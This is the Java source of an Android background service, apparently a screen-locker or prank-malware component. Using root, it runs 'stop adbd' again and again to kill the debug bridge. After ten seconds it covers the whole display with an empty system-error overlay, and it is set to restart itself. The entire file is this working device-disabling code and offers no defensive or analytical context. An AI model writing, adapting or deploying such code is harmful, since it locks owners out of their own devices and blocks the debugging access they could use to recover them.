package com.fuck.app;

import android.app.Service;
import android.content.Intent;
import android.graphics.PixelFormat;
import android.os.Handler;
import android.os.IBinder;
import android.os.SystemClock;
import android.util.Log;
import android.view.WindowManager;
import android.widget.FrameLayout;

import java.io.DataOutputStream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class FuckService extends Service implements Runnable {

    private FrameLayout mFrameLayout;
    private WindowManager.LayoutParams mLayoutParams;
    ExecutorService mExecutorService;

    long startTime = SystemClock.uptimeMillis();

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        init();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        super.onStartCommand(intent, flags, startId);
        // wait ten milimus
        killAdb();
        new Handler(getMainLooper()).postDelayed(new Runnable() {
            @Override
            public void run() {
                createFuckWindow();
            }
        }, 10 * 1000);

        mExecutorService.execute(this);
        return START_STICKY;
    }

    private void killAdb() {
        runRootCommand("stop adbd");
    }

    private void init() {
        mLayoutParams = new WindowManager.LayoutParams();
        mLayoutParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
        mLayoutParams.format = PixelFormat.RGBA_8888;
        mLayoutParams.x = 0;
        mLayoutParams.y = 0;
        mLayoutParams.width = WindowManager.LayoutParams.FILL_PARENT;
        mLayoutParams.height = WindowManager.LayoutParams.FILL_PARENT;
        mFrameLayout = new FrameLayout(this.getApplicationContext());

        mExecutorService = Executors.newSingleThreadExecutor();
    }

    private void createFuckWindow() {
        WindowManager windowManager = (WindowManager) getApplicationContext().getSystemService(WINDOW_SERVICE);
        try {
            windowManager.updateViewLayout(mFrameLayout, mLayoutParams);
        } catch (Throwable e) {
            windowManager.addView(mFrameLayout, mLayoutParams);
        }
    }

    @Override
    public void run() {
        while (true) {
            // kill adb
            try {
                killAdb();
                SystemClock.sleep(30 * 1000);

                if (SystemClock.uptimeMillis() - startTime > 30 * 60 * 1000) {
                    stopSelf();
                    break;
                }
            } catch (Throwable e) {
                ;
            }
        }
    }

    public static void runRootCommand(String command) {
        Process process = null;
        DataOutputStream os = null;
        try {
            process = Runtime.getRuntime().exec("su");
            os = new DataOutputStream(process.getOutputStream());
            os.writeBytes(command + "\n");
            os.writeBytes("exit\n");
            os.flush();
            process.waitFor();
        } catch (Exception e) {
            Log.d("*** DEBUG ***", "ROOT REE" + e.getMessage());
        } finally {
            try {
                if (os != null) {
                    os.close();
                }
                if (process != null) {
                    process.destroy();
                }
            } catch (Exception e) {
            }
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        mExecutorService.shutdown();
        WindowManager windowManager = (WindowManager) this.getApplicationContext().getSystemService(WINDOW_SERVICE);
        if (windowManager != null) {
            windowManager.removeView(mFrameLayout);
        }
    }
}
